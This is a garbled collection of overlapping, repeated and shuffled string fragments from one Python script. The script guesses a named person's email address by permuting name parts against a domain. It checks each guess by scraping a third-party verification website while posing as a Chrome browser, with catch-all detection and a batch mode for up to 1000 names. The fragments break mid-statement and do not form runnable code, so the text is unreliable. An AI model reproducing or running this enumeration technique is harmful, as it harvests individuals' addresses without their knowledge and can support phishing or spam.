"len(comb) - 1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET",
"= EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else True) # if super_verbose:",
"request.urlopen(google_url) return True except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email address",
"and a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help = \"Batch mode,",
"before first@ \"\"\" def __init__(self, elems): self.elems = elems # Make actual permutations",
"i yield perm[:j] + [elems[r]] + perm[j:] return # Make permuatations of size",
"len(name_parts) > 2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last",
"r = size def generate(self, size): for comb in self.make_combs(size, len(self.elems) - 1):",
"= \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose = False):",
"first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list = None, []",
"except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email address given a name",
"for template in email_templates[size]: user = template.format(f = f, l = l, m",
"try: request.urlopen(google_url) return True except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email",
"try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end = '', flush = True)",
"ValueError(\"Domain seems to accept all email addresses.\") elif args.verbose: print(\"Domain checks successful\") #",
"# Make actual permutations of elems def make_perms(self, elems, r): if r ==",
"name_parts in input_list: if len(name_parts) > 2: first, middle, last = name_parts[0], name_parts[1].lower(),",
"dest='verbose', default = False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default =",
"'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result'",
"re import os, sys import time import argparse # Request headers headers =",
"check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid =",
"+ TLD[0] else: return domain # Check internet connectivity, using Google # the",
"the standard connection tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try:",
"+ [elems[r]] + perm[j:] return # Make permuatations of size from def make_combs(self,",
"True except urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email address given a",
"not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self, email_addr): post_form =",
"last), (last, first), (f, last) The elems is produced and Permutator is called",
"X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type':",
"For example, (first, last), (last, first), (f, last) The elems is produced and",
"address given a name and a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true',",
"in self.make_combs(size, l - 1): yield c for elem in self.elems[l]: for c",
"3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT",
"\"{f}.{m}.{l}\" ], 1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\"",
"EmailVerifier() for template in email_templates[size]: user = template.format(f = f, l = l,",
"if not check_connectivity(): print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args",
"= find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list) > 0: print(\"Valid Emails:",
"for elem in self.elems[0]: yield [elem] return for c in self.make_combs(size, l -",
"tld in TLD: if domain.endswith(tld): domain_flag = True break if not domain_flag: return",
"(last, last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list = None, [] p_gen",
"{last}): \") if name == \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split()))",
"print(\" \") return None # Sufficiently random email that nobody should # actually",
"headers = headers ) return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp",
"\"\": domain = prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain, args) print()",
"\", email_list) else: print(\"Not Found\") prev_domain = domain except ValueError as e: print(\"Error:",
"last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle = None",
"from def make_combs(self, size, l): if (size > l + 1): return if",
"0: yield [elems[0]] return for perm in self.make_perms(elems, r - 1): for i",
"first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle",
"email. def find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain",
"print(re_res) # Possible templates for different sizes # All the possible combinations are",
"resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if",
"= request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html",
"Make permuatations of size from def make_combs(self, size, l): if (size > l",
"= \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help = \"Find all",
"'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING",
"valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address, given the below",
"a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address, given the",
"for domain, name_parts in input_list: if len(name_parts) > 2: first, middle, last =",
"create_request(self, email_addr): post_form = { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req =",
"lastname # including .(period), eg. first.last@ and then checks # each email. def",
"if len(name_parts) > 2: first, middle, last = name_parts[0], name_parts[1].lower(), name_parts[2] else: first,",
"1, l - 1): c.append(elem) yield c # Generate all P(n, r) permutations",
"= False): verifier = EmailVerifier() for template in email_templates[size]: user = template.format(f =",
"least specific eg first.last@ before f.last@ before first@ \"\"\" def __init__(self, elems): self.elems",
"html return (False if re_res else True) # if super_verbose: # print(re_res) #",
"continue try_addr = EMAIL_FORMAT.format(user = user, domain = domain) if verbose: print(\"Checking `\"",
"size): for comb in self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb, len(comb)",
"html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False",
"def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return False parser",
"All the possible combinations are covered by # this and the action of",
"def find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name",
"], 1: [ \"{f}\" ] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate",
"print(\"Can't connect to internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops",
"= self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res =",
"produced most to least specific eg first.last@ before f.last@ before first@ \"\"\" def",
"in self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb, len(comb) - 1): yield",
"< 3: continue try_addr = EMAIL_FORMAT.format(user = user, domain = domain) if verbose:",
"try_addr = EMAIL_FORMAT.format(user = user, domain = domain) if verbose: print(\"Checking `\" +",
"0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain = domain except ValueError",
"is # present in domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if",
"try: email_list = find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list) > 0:",
"Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)",
"# if super_verbose: # print(re_res) # Possible templates for different sizes # All",
"prev_domain = domain except ValueError as e: print(\"Error: \" + str(e)) sys.exit(1) #",
"SITE_URL = 'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0}",
"EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain",
"= False, action='store_true', help = \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default",
"Permutates over the possible combinations of first and lastname # including .(period), eg.",
"- 1): yield c for elem in self.elems[l]: for c in self.make_combs(size -",
"help = \"Verbose mode\") parser.add_argument('--all', dest='find_all', default = False, action='store_true', help = \"Find",
"self.make_perms(elems, r - 1): for i in range(r + 1): j = r",
"= \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return",
"= resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if",
"args.verbose) if email: email_list.append(email) if not args.find_all: return email_list # Not found, probably",
"this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email address,",
"middle = None if domain == \"\": domain = prev_domain try: email_list =",
"} EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination of two",
"domain == \"\": domain = prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain,",
"parse import re import os, sys import time import argparse # Request headers",
"c in self.make_combs(size - 1, l - 1): c.append(elem) yield c # Generate",
"req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\")",
"email_templates[size]: user = template.format(f = f, l = l, m = m) if",
"return None # Sufficiently random email that nobody should # actually have this",
"email: email_list.append(email) if not args.find_all: return email_list # Not found, probably works for",
"\"Connecting to {0} failed\" def create_request(self, email_addr): post_form = { \"email\": email_addr }",
"failed\" def create_request(self, email_addr): post_form = { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode()",
"the possible combinations are covered by # this and the action of the",
"and three words to form an email. For example, (first, last), (last, first),",
"2, 3, 1 # to match most common observations for leng in (2,",
"Amazon :D return email_list # Automatically append .com if no tld is #",
"= [] for l in range(loops): name = input(\"Name({first} {last}): \") if name",
"= True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end",
"email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers",
"in domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain == \"\":",
"urllib.error.URLError: return False parser = argparse.ArgumentParser( description='Find email address given a name and",
"the email address, given the below parameters # Permutates over the possible combinations",
"Sufficiently random email that nobody should # actually have this as a valid",
"first = perm[0] last = perm[1] if len(perm) > 1 else None middle",
"# actually have this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find",
"COLOR_GREEN = \"\\033[0;32m\" COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m,",
"of first and lastname # including .(period), eg. first.last@ and then checks #",
"Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', } class EmailVerifier: SITE_URL",
"False else: return True # Returns a boolean value def verify(self, email_addr, super_verbose",
"= None if domain == \"\": domain = prev_domain try: email_list = find_email(first.lower(),",
"flush = True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET,",
"have this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\" # Find the email",
"possible combinations are covered by # this and the action of the Permutator",
"if super_verbose: # print(re_res) # Possible templates for different sizes # All the",
"always produced most to least specific eg first.last@ before f.last@ before first@ \"\"\"",
"return domain # Check internet connectivity, using Google # the standard connection tester",
"l in range(loops): name = input(\"Name({first} {last}): \") if name == \"\": break",
"'', flush = True) return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end",
"TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain == \"\": return domain",
"middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email",
"= enc_data, headers = headers ) return req def check_domain(self, domain): req =",
"if not domain_flag: return domain + TLD[0] else: return domain # Check internet",
"permuatations of size from def make_combs(self, size, l): if (size > l +",
"end = '', flush = True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN +",
"= prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list)",
"resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False",
"nobody should # actually have this as a valid one RANDOM_EMAIL = \"prhzdge.yrtheu\"",
"in self.elems[0]: yield [elem] return for c in self.make_combs(size, l - 1): yield",
"r - i yield perm[:j] + [elems[r]] + perm[j:] return # Make permuatations",
"r) permutations of r = size def generate(self, size): for comb in self.make_combs(size,",
"eg. first.last@ and then checks # each email. def find_email(first, middle, last, domain,",
"return domain domain_flag = False for tld in TLD: if domain.endswith(tld): domain_flag =",
"return False parser = argparse.ArgumentParser( description='Find email address given a name and a",
"`\" + try_addr + \"`...\", end = '', flush = True) verif =",
"if email: email_list.append(email) if not args.find_all: return email_list # Not found, probably works",
"\"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data,",
"random email that nobody should # actually have this as a valid one",
"+ perm[j:] return # Make permuatations of size from def make_combs(self, size, l):",
"\") return None # Sufficiently random email that nobody should # actually have",
"not domain_flag: return domain + TLD[0] else: return domain # Check internet connectivity,",
"domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help = \"Batch mode, process multiple",
"that the emails are always produced most to least specific eg first.last@ before",
"for comb in self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb, len(comb) -",
".(period), eg. first.last@ and then checks # each email. def find_email(first, middle, last,",
"True) return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end = '', flush",
"self.elems[l]: for c in self.make_combs(size - 1, l - 1): c.append(elem) yield c",
"the below parameters # Permutates over the possible combinations of first and lastname",
"if middle: elems.append((middle, middle[0])) email, email_list = None, [] p_gen = Permutator(elems) #",
"= '', flush = True) verif = verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\"",
"to match most common observations for leng in (2, 3, 1): for perm",
"args.verbose: print(\"Domain checks successful\") # Can use either from each of elems elems",
"for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems",
"= 1000 if args.batch else 1 input_list = [] for l in range(loops):",
"# to match most common observations for leng in (2, 3, 1): for",
"# this and the action of the Permutator email_templates = { 2: [",
"this and the action of the Permutator email_templates = { 2: [ \"{f}.{l}\",",
"= [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain == \"\": return domain domain_flag",
"to {0} failed\" def create_request(self, email_addr): post_form = { \"email\": email_addr } enc_data",
"(first, first[0]), (last, last[0]) ] if middle: elems.append((middle, middle[0])) email, email_list = None,",
"connection tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\") try: request.urlopen(google_url) return",
"all possible combination of two and three words to form an email. For",
"\"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for domain,",
"an email. For example, (first, last), (last, first), (f, last) The elems is",
"len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user = user, domain = domain) if",
"(2, 3, 1): for perm in p_gen.generate(leng): first = perm[0] last = perm[1]",
"using Google # the standard connection tester :) google_url = \"https://google.com/\" def check_connectivity():",
"Emails: \", email_list) else: print(\"Not Found\") prev_domain = domain except ValueError as e:",
"# Order of lengths is 2, 3, 1 # to match most common",
"+ 1): j = r - i yield perm[:j] + [elems[r]] + perm[j:]",
"None if domain == \"\": domain = prev_domain try: email_list = find_email(first.lower(), middle,",
"2 else None email = verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email)",
"accept all email addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can use either",
"domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain == \"\": return",
"else None email = verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email) if",
"print(\"Checking connection...\") try: request.urlopen(google_url) return True except urllib.error.URLError: return False parser = argparse.ArgumentParser(",
"valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def create_request(self, email_addr): post_form = {",
"if args.batch else 1 input_list = [] for l in range(loops): name =",
"args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid domain name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user",
"find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list) > 0: print(\"Valid Emails: \",",
"r): if r == 0: yield [elems[0]] return for perm in self.make_perms(elems, r",
"parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers ) return",
"None middle = perm[2] if len(perm) > 2 else None email = verify_for_size(first,",
"Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org',",
"email_list = find_email(first.lower(), middle, last.lower(), domain, args) print() if len(email_list) > 0: print(\"Valid",
"def create_request(self, email_addr): post_form = { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req",
"EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else True) # if super_verbose: #",
"of elems def make_perms(self, elems, r): if r == 0: yield [elems[0]] return",
"# Sufficiently random email that nobody should # actually have this as a",
"= domain except ValueError as e: print(\"Error: \" + str(e)) sys.exit(1) # Successful",
"EmailVerifier.SITE_URL, data = enc_data, headers = headers ) return req def check_domain(self, domain):",
"stopping at the first successful\") if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't",
"the possible combinations of first and lastname # including .(period), eg. first.last@ and",
"except ValueError as e: print(\"Error: \" + str(e)) sys.exit(1) # Successful return sys.exit(0)",
"default = False, action='store_true', help = \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose',",
"= { \"email\": email_addr } enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data",
"False, action='store_true', help = \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default =",
"[elems[r]] + perm[j:] return # Make permuatations of size from def make_combs(self, size,",
"def generate(self, size): for comb in self.make_combs(size, len(self.elems) - 1): for perm in",
"+ \".\" + COLOR_RESET, end = '', flush = True) return try_addr else:",
"+ COLOR_RESET, end = '', flush = True) return try_addr else: print(COLOR_RED +",
"match most common observations for leng in (2, 3, 1): for perm in",
"loops = 1000 if args.batch else 1 input_list = [] for l in",
"{0} failed\" def create_request(self, email_addr): post_form = { \"email\": email_addr } enc_data =",
"= r - i yield perm[:j] + [elems[r]] + perm[j:] return # Make",
"(f, last) The elems is produced and Permutator is called in a way",
"verify_for_size(f, l, m, size, verbose = False): verifier = EmailVerifier() for template in",
"yield perm[:j] + [elems[r]] + perm[j:] return # Make permuatations of size from",
"verifier.verify(try_addr) if verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end = '', flush =",
"Google # the standard connection tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking",
"if name == \"\": break domain = correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain =",
"like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Referer': 'http://www.verifyemailaddress.org', 'Origin': 'http://www.verifyemailaddress.org/', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', }",
"return True # Returns a boolean value def verify(self, email_addr, super_verbose = False):",
"if len(email_list) > 0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain =",
"def __init__(self, elems): self.elems = elems # Make actual permutations of elems def",
"+ 1): return if size == 0: yield [] return if l ==",
"generate(self, size): for comb in self.make_combs(size, len(self.elems) - 1): for perm in self.make_perms(comb,",
"all email addresses.\") elif args.verbose: print(\"Domain checks successful\") # Can use either from",
"# All the possible combinations are covered by # this and the action",
"1): return if size == 0: yield [] return if l == 0:",
"# Generate all P(n, r) permutations of r = size def generate(self, size):",
"correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts in input_list: if",
"req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers ) return req",
"= \"\" for domain, name_parts in input_list: if len(name_parts) > 2: first, middle,",
"return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp = request.urlopen(req) html =",
"Permutator is called in a way such that the emails are always produced",
"[elem] return for c in self.make_combs(size, l - 1): yield c for elem",
"email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to",
"found, probably works for Amazon :D return email_list # Automatically append .com if",
"re_res = EmailVerifier.INVALID_SEARCH_STRING in html return (False if re_res else True) # if",
"all possible addresses instead \\ of stopping at the first successful\") if __name__",
"\"\" for domain, name_parts in input_list: if len(name_parts) > 2: first, middle, last",
"present in domain. TLD = [\".com\", \".org\", \".net\"] def correct_for_tld(domain): if domain ==",
"email address given a name and a domain.') parser.add_argument('--batch', dest='batch', default = False,",
"] } EMAIL_FORMAT = \"{user}@{domain}\" class Permutator: \"\"\" Generate all possible combination of",
"return for perm in self.make_perms(elems, r - 1): for i in range(r +",
"} enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers =",
"\".\" + COLOR_RESET, end = '', flush = True) return try_addr else: print(COLOR_RED",
":D return email_list # Automatically append .com if no tld is # present",
"elems is produced and Permutator is called in a way such that the",
"first@ \"\"\" def __init__(self, elems): self.elems = elems # Make actual permutations of",
"including .(period), eg. first.last@ and then checks # each email. def find_email(first, middle,",
"== \"\": return domain domain_flag = False for tld in TLD: if domain.endswith(tld):",
"name_parts[1].lower(), name_parts[2] else: first, last = name_parts; middle = None if domain ==",
"yield [elems[0]] return for perm in self.make_perms(elems, r - 1): for i in",
"return try_addr else: print(COLOR_RED + \".\" + COLOR_RESET, end = '', flush =",
"= name_parts; middle = None if domain == \"\": domain = prev_domain try:",
"EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format( domain)) return False else: return True",
"verify(self, email_addr, super_verbose = False): req = self.create_request(email_addr) resp = request.urlopen(req) html =",
"and the action of the Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\",",
"try_addr + \"`...\", end = '', flush = True) verif = verifier.verify(try_addr) if",
"use either from each of elems elems = [ (first, first[0]), (last, last[0])",
"if len(perm) > 1 else None middle = perm[2] if len(perm) > 2",
"internet, exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000 if",
"server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to accept",
"return False else: return True # Returns a boolean value def verify(self, email_addr,",
"req = self.create_request(email_addr) resp = request.urlopen(req) html = resp.read().decode(\"utf-8\") if super_verbose: print(html) re_res",
"= f, l = l, m = m) if len(user) < 3: continue",
"end = '', flush = True) return try_addr else: print(COLOR_RED + \".\" +",
"= headers ) return req def check_domain(self, domain): req = self.create_request(\"help@{0}\".format(domain)) resp =",
"request.urlopen(req) html = resp.read().decode(\"utf-8\") domain_invalid = EmailVerifier.CONNECTING_TO_DOMAIN.format( domain) in html if domain_invalid: print(EmailVerifier.CONNECTING_TO_DOMAIN.format(",
"> 0: print(\"Valid Emails: \", email_list) else: print(\"Not Found\") prev_domain = domain except",
"EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to accept all email",
"instead \\ of stopping at the first successful\") if __name__ == \"__main__\": if",
"name for email server.\") elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain",
"else: print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000 if args.batch else 1",
"print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000 if args.batch else 1 input_list",
"argparse.ArgumentParser( description='Find email address given a name and a domain.') parser.add_argument('--batch', dest='batch', default",
"the action of the Permutator email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ],",
"if re_res else True) # if super_verbose: # print(re_res) # Possible templates for",
"def make_perms(self, elems, r): if r == 0: yield [elems[0]] return for perm",
"perm in self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN = \"\\033[0;32m\" COLOR_RED",
"email_templates = { 2: [ \"{f}.{l}\", \"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\",",
"== \"\": domain = prev_domain try: email_list = find_email(first.lower(), middle, last.lower(), domain, args)",
"l - 1): c.append(elem) yield c # Generate all P(n, r) permutations of",
"= l, m = m) if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user",
"= m) if len(user) < 3: continue try_addr = EMAIL_FORMAT.format(user = user, domain",
"multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help = \"Verbose mode\") parser.add_argument('--all',",
"= correct_for_tld(input(\"Domain: \")) input_list.append((domain, name.split())) prev_domain = \"\" for domain, name_parts in input_list:",
"# the standard connection tester :) google_url = \"https://google.com/\" def check_connectivity(): print(\"Checking connection...\")",
"elems, r): if r == 0: yield [elems[0]] return for perm in self.make_perms(elems,",
"in html return (False if re_res else True) # if super_verbose: # print(re_res)",
"COLOR_RESET, end = '', flush = True) return try_addr else: print(COLOR_RED + \".\"",
"None email = verify_for_size(first, last, middle, leng, args.verbose) if email: email_list.append(email) if not",
"exiting.\") sys.exit(1) else: print(\"Connectivity okay.\") args = parser.parse_args() loops = 1000 if args.batch",
"such that the emails are always produced most to least specific eg first.last@",
"COLOR_RED = \"\\033[1;31m\" COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose =",
"\"{f}{l}\", ], 3: [ \"{f}{m}{l}\", \"{f}{m}.{l}\", \"{f}.{m}{l}\", \"{f}.{m}.{l}\" ], 1: [ \"{f}\" ]",
"email that nobody should # actually have this as a valid one RANDOM_EMAIL",
"1): for perm in self.make_perms(comb, len(comb) - 1): yield perm return COLOR_GREEN =",
"help = \"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true',",
"okay.\") args = parser.parse_args() loops = 1000 if args.batch else 1 input_list =",
"r - 1): for i in range(r + 1): j = r -",
"'https://www.verifyemailaddress.org/#result' INVALID_SEARCH_STRING = \"is not valid\" CONNECTING_TO_DOMAIN = \"Connecting to {0} failed\" def",
"permutations of r = size def generate(self, size): for comb in self.make_combs(size, len(self.elems)",
"return if l == 0: for elem in self.elems[0]: yield [elem] return for",
"3: continue try_addr = EMAIL_FORMAT.format(user = user, domain = domain) if verbose: print(\"Checking",
"import argparse # Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac",
"if l == 0: for elem in self.elems[0]: yield [elem] return for c",
"1000 if args.batch else 1 input_list = [] for l in range(loops): name",
"verif: print(COLOR_GREEN + \".\" + COLOR_RESET, end = '', flush = True) return",
"- 1, l - 1): c.append(elem) yield c # Generate all P(n, r)",
"1): c.append(elem) yield c # Generate all P(n, r) permutations of r =",
"sys import time import argparse # Request headers headers = { 'User-Agent': 'Mozilla/5.0",
"email address, given the below parameters # Permutates over the possible combinations of",
"COLOR_RESET = \"\\033[0;0m\" def verify_for_size(f, l, m, size, verbose = False): verifier =",
"at the first successful\") if __name__ == \"__main__\": if not check_connectivity(): print(\"Can't connect",
"\"Batch mode, process multiple requests\") parser.add_argument('-v', dest='verbose', default = False, action='store_true', help =",
"== 0: for elem in self.elems[0]: yield [elem] return for c in self.make_combs(size,",
"a domain.') parser.add_argument('--batch', dest='batch', default = False, action='store_true', help = \"Batch mode, process",
"last) The elems is produced and Permutator is called in a way such",
"return domain + TLD[0] else: return domain # Check internet connectivity, using Google",
"each email. def find_email(first, middle, last, domain, args): if not EmailVerifier().check_domain(domain): raise ValueError(\"Invalid",
"if domain == \"\": domain = prev_domain try: email_list = find_email(first.lower(), middle, last.lower(),",
"called in a way such that the emails are always produced most to",
"elem in self.elems[0]: yield [elem] return for c in self.make_combs(size, l - 1):",
"1 input_list = [] for l in range(loops): name = input(\"Name({first} {last}): \")",
"middle, last.lower(), domain, args) print() if len(email_list) > 0: print(\"Valid Emails: \", email_list)",
"= elems # Make actual permutations of elems def make_perms(self, elems, r): if",
"enc_data = parse.urlencode(post_form).encode() req = request.Request( EmailVerifier.SITE_URL, data = enc_data, headers = headers",
"domain = domain) if verbose: print(\"Checking `\" + try_addr + \"`...\", end =",
"Possible templates for different sizes # All the possible combinations are covered by",
"f, l = l, m = m) if len(user) < 3: continue try_addr",
"else None middle = perm[2] if len(perm) > 2 else None email =",
"elif EmailVerifier().verify(EMAIL_FORMAT.format(user = RANDOM_EMAIL, domain = domain)): raise ValueError(\"Domain seems to accept all",
"domain == \"\": return domain domain_flag = False for tld in TLD: if",
"way such that the emails are always produced most to least specific eg",
"# Can use either from each of elems elems = [ (first, first[0]),",
